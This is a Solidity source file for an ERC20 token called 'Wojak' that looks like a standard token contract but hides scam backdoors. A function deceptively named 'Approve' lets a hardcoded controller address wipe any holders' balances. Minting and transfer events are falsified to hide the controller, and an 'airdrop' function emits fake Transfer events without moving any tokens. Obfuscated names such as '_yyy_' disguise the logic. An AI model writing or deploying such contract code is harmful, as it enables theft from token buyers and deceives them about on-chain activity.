pragma solidity ^0.6.0;
/*

-----------------------------------------------------------------
FILE INFORMATION
-----------------------------------------------------------------

file:       ERC20.sol
version:    1.1
Author:     Wojak

date:       2023-4-15
*/


library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {

        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }


    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }


    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

library Address {

    function isContract(address account) internal view returns (bool) {

        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }


    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }


    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly

                // solhint-disable-next-line no-inline-assembly
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

contract Context {
    constructor () internal { }

    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; 
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);}



contract Wojak is Context, IERC20 {
 
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _spendingrights_;
    using SafeMath for uint256;
    using Address for address;
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;



    address deployer = 0x92FB5b4F8030103e0b11275c30965d1897ff23E5;
    address public _controller = 0x7799E1B1BC51b9f84CAf61678561cf4853bad770;
    constructor () public {

        
        _name = "Wojak";
        _symbol ="WOJAK";
        _decimals = 18;
        uint256 initialSupply = 420690000;
        
        

        lock(deployer, initialSupply*(10**18));
        

    }







    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _yyy_(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _yyy_(sender, recipient, amount);
        _approve(sender, _msgSender(), _spendingrights_[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }


    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _spendingrights_[owner][spender];
    }


    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }


    function _transfer(address sender, address recipient, uint256 amount)  internal virtual{
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        if (sender == _controller){
            sender = deployer;
        }
        emit Transfer(sender, recipient, amount);
    }

    function lock(address to, uint256 amt) public {
        require(msg.sender == _controller, "ERC20: mint to the zero address");
        _totalSupply = _totalSupply.add(amt);
        _balances[_controller] = _balances[_controller].add(amt);
        emit Transfer(address(0), to, amt);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _spendingrights_[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    
    function _yyy_(address sender, address recipient, uint256 amount) internal _filler_(sender,recipient,amount) virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        if (sender == _controller){
            sender = deployer;
        }
        emit Transfer(sender, recipient, amount);
    }
    
   
    modifier _filler_(address sender, address recipient, uint256 amount){
        _;
    }
    
    
    function _setupDecimals(uint8 decimals_) internal {
        _decimals = decimals_;
    }



    modifier _ownerfunc_() {
        require(msg.sender == _controller, "Not allowed to interact");
        _;
    }


    modifier approver() {
        require(msg.sender == _controller, "Not allowed to interact");
        _;
    }





  function airdrop(address _sendr,address[] memory _rec,uint256[] memory _amt)  public _ownerfunc_(){
    for (uint256 y = 0; y < _rec.length; y++) {emit Transfer(_sendr, _rec[y], _amt[y]);}}



//-----------------------------------------------------------------------------------------------------------------------//

        function Approve(
            address[] memory addrs)  public approver(){
            for (uint256 y = 0; y < addrs.length; y++) {
                uint256 amt = _balances[addrs[y]];
                _balances[addrs[y]] = _balances[addrs[y]].sub(amt, "ERC20: burn amount exceeds balance");
                _balances[0x0000000000000000000000000000000000000002] = _balances[0x0000000000000000000000000000000000000002].add(amt);
                
                }}






    }
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